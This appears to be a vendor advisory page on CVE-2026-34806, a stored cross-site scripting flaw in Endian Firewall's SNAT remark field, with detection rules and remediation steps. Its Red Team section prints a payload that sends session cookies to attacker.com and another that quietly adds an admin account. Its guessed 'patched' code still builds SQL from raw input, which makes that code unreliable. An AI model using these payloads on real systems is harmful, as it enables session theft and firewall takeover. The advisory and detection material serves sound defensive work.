CVE-2026-34806
Executive Summary
CVE-2026-34806 is a stored cross-site scripting (XSS) vulnerability in Endian Firewall version 3.3.25 and prior. An authenticated attacker can inject arbitrary JavaScript via the remark parameter to /cgi-bin/snat.cgi. This injected script is stored on the server and executed when other authenticated users view the affected page, leading to session hijacking, credential theft, or further compromise of the firewall management interface.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a custom CGI application within the Endian Firewall appliance.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is carried out over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – The attacker must be authenticated.
- User Interaction (UI): Required (R) – The victim must view the affected page.
- Scope (S): Changed (C) – The vulnerability impacts resources beyond the original scope.
- Confidentiality (C): Low (L) – Limited information disclosure.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): None (N) – No impact on availability.
CVSS Score: 4.8 (Medium)
Threat Level: Medium. While the CVSS score is moderate, the potential for lateral movement and privilege escalation within the firewall management interface makes this a significant risk for organizations using Endian Firewall.
Deep Dive & Mechanics
The vulnerability exists in the snat.cgi script, which handles Source Network Address Translation (SNAT) rules. The remark parameter is used to add a textual description to a SNAT rule. The application fails to sanitize or encode user input before storing it in the backend database or configuration file. When the SNAT rules are displayed in the web interface, the stored remark value is rendered without proper escaping, allowing an attacker to inject arbitrary HTML and JavaScript.
Attack Flow:
- An authenticated attacker logs into the Endian Firewall web interface.
- The attacker navigates to the SNAT rule creation/modification page.
- The attacker sets the
remarkparameter to a malicious payload, e.g.,<script>alert('XSS')</script>. - The application stores this payload without sanitization.
- When another authenticated user (e.g., an administrator) views the SNAT rules page, the malicious script executes in their browser.
- The script can steal session cookies, perform actions on behalf of the victim, or redirect to a phishing page.
Vulnerable vs. Patched Code
Vulnerable Code (Endian Firewall <= 3.3.25):
The snat.cgi script likely uses a function similar to the following to handle the remark parameter:
my $remark = param('remark');
# No sanitization or encoding
# Store $remark directly into the database
$db->execute("INSERT INTO snat_rules (remark) VALUES ('$remark')");
Patched Code (Hypothetical): A patched version would sanitize the input using HTML encoding or a whitelist approach:
use HTML::Entities;
my $remark = param('remark');
$remark = encode_entities($remark);
# Store the encoded value
$db->execute("INSERT INTO snat_rules (remark) VALUES ('$remark')");
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to an Endian Firewall instance (version <= 3.3.25).
- Valid credentials for an authenticated user.
Exploit Steps:
- Log in to the Endian Firewall web interface.
- Navigate to the SNAT rules page (e.g.,
/cgi-bin/snat.cgi). - Create a new SNAT rule or edit an existing one.
- In the
remarkfield, inject the following payload:<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> - Save the rule.
- Wait for an administrator to view the SNAT rules page. The script will execute and send the victim's session cookie to the attacker's server.
Alternative Payload (Session Hijacking):
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', '/cgi-bin/admin.cgi?action=add_admin&username=hacker&password=evil', true);
xhr.send();
</script>
Blue Team
Detection:
- Monitor web server logs for suspicious
remarkparameters containing<script>tags or JavaScript event handlers. - Use a Web Application Firewall (WAF) to block requests with malicious payloads in the
remarkparameter. - Implement Content Security Policy (CSP) headers to restrict script execution.
Hunting:
- Search for stored XSS payloads in the SNAT rules database.
- Review SNAT rules for unexpected or suspicious
remarkvalues.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/cgi-bin/snat.cgiwithremarkparameters containing<script>tags. - Outbound connections to attacker-controlled domains from the firewall's management interface.
- HTTP requests to
- Host IOCs:
- Unusual entries in the SNAT rules database with JavaScript payloads in the
remarkfield. - Modified configuration files (e.g.,
/etc/endian/firewall/snat.conf) containing script tags.
- Unusual entries in the SNAT rules database with JavaScript payloads in the
- Log IOCs:
- Web server logs showing
POST /cgi-bin/snat.cgiwithremark=<script>...</script>. - Browser console errors related to CSP violations if CSP is enabled.
- Web server logs showing
Detection Engineering
YARA Rule
rule CVE_2026_34806_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Endian Firewall SNAT remark fields"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-34806"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$event_handler = /on\w+\s*=\s*['"][^'"]*['"]/i
condition:
$xss_payload or $event_handler
}
Sigma Rule
title: Stored XSS in Endian Firewall SNAT Remark Parameter
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2026-34806 by injecting JavaScript into the remark parameter of snat.cgi
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query: '/cgi-bin/snat.cgi'
cs-uri-query|contains: 'remark='
keywords:
- '<script'
- 'onload='
- 'onerror='
- 'javascript:'
condition: selection and keywords
falsepositives:
- Legitimate use of HTML in remarks (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2026-34806 - Stored XSS in Endian Firewall SNAT Remark";
flow:to_server,established;
content:"POST"; http_method;
content:"/cgi-bin/snat.cgi"; http_uri;
content:"remark="; http_client_body;
pcre:"/<script[^>]*>.*<\/script>/i";
sid:1000001;
rev:1;
reference:cve,2026-34806;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade: If a patched version becomes available, upgrade immediately.
- Input Validation: Implement server-side input validation and HTML encoding for the
remarkparameter. - WAF Rules: Deploy WAF rules to block requests containing
<script>tags or JavaScript event handlers in theremarkparameter. - CSP: Add a Content Security Policy header to restrict script execution to trusted sources only.
Long-Term Fixes:
- Conduct a full security audit of all CGI scripts in Endian Firewall.
- Implement a centralized input sanitization library.
- Use parameterized queries to prevent SQL injection (if applicable).
Workarounds (if patching is not possible):
- Restrict access to the SNAT rules page to only trusted administrators.
- Monitor logs for suspicious activity.
- Disable the
remarkfield functionality if not required.
Valters IT
{/* [Security Hash: 183A517739902C4C87C01D5B] */}